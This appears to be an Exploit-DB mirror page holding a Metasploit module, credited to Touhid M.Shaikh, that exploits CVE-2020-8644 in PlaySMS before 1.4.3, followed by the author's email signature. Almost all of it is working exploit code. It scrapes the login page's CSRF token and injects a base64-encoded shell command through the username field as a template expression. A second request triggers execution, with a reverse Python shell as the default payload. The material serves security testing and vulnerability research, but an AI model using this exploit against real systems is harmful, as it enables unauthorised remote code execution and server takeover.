PlaySMS 1.4.3 – Template Injection / Remote Code Execution

  • 作者: Touhid M.Shaikh
    日期: 2020-03-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48199/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'PlaySMS 1.4.3 Pre Auth Template Injection Remote Code
    Execution',
    'Description' => %q{
    This module exploits a Preauth Server-Side Template Injection
    leads remote code execution vulnerability in PlaySMS Before Version 1.4.3.
    This issue is caused by Double processes a server-side template
    by Custom PHP Template system called 'TPL'.
    which is used in PlaySMS template engine location
    src/Playsms/Tpl.php:_compile(). When Attacker supply username with a
    malicious payload
    and submit. This malicious payload first process by TPL and
    save the value in the current template after this value goes for the second
    process
    which result in code execution.
    The TPL(https://github.com/antonraharja/tpl) template language
    is vulnerable to PHP code injection.
    
    This module was tested against PlaySMS 1.4 on HackTheBox's
    Forlic Machine.
    },
    'Author' =>
    [
    'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Metasploit
    Module
    'Lucas Rosevear' # Found and Initial PoC by NCC Groupd
    ],
    'License' => MSF_LICENSE,
    'References' =>
    [
    ['CVE','2020-8644'],
    ['URL','
    https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/
    ']
    ],
    'DefaultOptions' =>
    {
    'SSL' => false,
    'PAYLOAD' => 'cmd/unix/reverse_python'
    },
    'Privileged' => false,
    'Platform' => %w[unix linux],
    'Arch' => ARCH_CMD,
    'Payload'=>
    {
    'Compat' =>
    {
    'PayloadType' => 'cmd',
    'RequiredCmd' => 'python'
    }
    },
    'Targets' =>
    [
    [ 'PlaySMS Before 1.4.3', { } ],
    ],
    'DefaultTarget'=> 0,
    'DisclosureDate' => 'Feb 05 2020'))
    
    register_options(
    [
    OptString.new('TARGETURI', [ true, "Base playsms directory path",
    '/']),
    ])
    end
    
    def uri
    return target_uri.path
    end
    
    def check
    begin
    res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(uri, 'index.php')
    })
    rescue
    vprint_error('Unable to access the index.php file')
    return CheckCode::Unknown
    end
    
    if res.code == 302 &&
    res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login')
    return Exploit::CheckCode::Appears
    end
    
    return CheckCode::Safe
    end
    
    #Send Payload in Login Request
    def login
    res = send_request_cgi({
    'uri' => normalize_uri(uri, 'index.php'),
    'method' => 'GET',
    'vars_get' => {
    'app' => 'main',
    'inc' => 'core_auth',
    'route' => 'login',
    }
    })
    
    # Grabbing CSRF token from body
    /name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine
    CSRF token") if csrf.nil?
    vprint_good("X-CSRF-Token for login : #{csrf}")
    
    cookies = res.get_cookies
    
    vprint_status('Trying to Send Payload in Username Field ......')
    
    #Encoded in base64 to avoid HTML TAGS which is filter by Application.
    evil = "{{`printf #{Rex::Text.encode_base64(payload.encode)}|base64
    -d |sh`}}"
    
    # Send Payload with cookies.
    res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(uri, 'index.php'),
    'cookie' => cookies,
    'vars_get' => Hash[{
    'app' => 'main',
    'inc' => 'core_auth',
    'route' => 'login',
    'op' => 'login',
    }.to_a.shuffle],
    'vars_post' => Hash[{
    'X-CSRF-Token' => csrf,
    'username' => evil,
    'password' => ''
    }.to_a.shuffle],
    })
    
    fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to
    Login request") if res.nil?
    
    # Request Status Check
    if res.code == 302
    print_good("Payload successfully Sent")
    return cookies
    else
    fail_with(Failure::UnexpectedReply, "#{peer} - Something Goes
    Wrong")
    end
    end
    
    def exploit
    cookies = login
    vprint_status("Cookies here : #{cookies}")
    # Execute Last Sent Username.
    res = send_request_cgi({
    'uri' => normalize_uri(uri, 'index.php'),
    'method' => 'GET',
    'cookie' => cookies,
    'vars_get' => {
    'app' => 'main',
    'inc' => 'core_auth',
    'route' => 'login',
    }
    })
    end
    end
    
    -- 
    Touhid Shaikh
    Exploit Researcher and Developer | Security Consultant
    m: +91 7738794435
    e: touhidshaikh22@gmail.com
    www.touhidshaikh.com [image: Facebook icon]
    <https://www.facebook.com/tauheeds1> [image: LinkedIn icon]
    <https://www.linkedin.com/in/touhidshaikh22/> [image: Twitter icon]
    <https://twitter.com/touhidshaikh22> [image: Youtube icon]
    <https://www.youtube.com/touhidshaikh22>
    
    The content of this email is confidential and intended for the recipient
    specified in message only. It is strictly forbidden to share any part of
    this message with any third party, without a written consent of the sender.
    If you received this message by mistake, please reply to this message and
    follow with its deletion, so that we can ensure such a mistake does not
    occur in the future.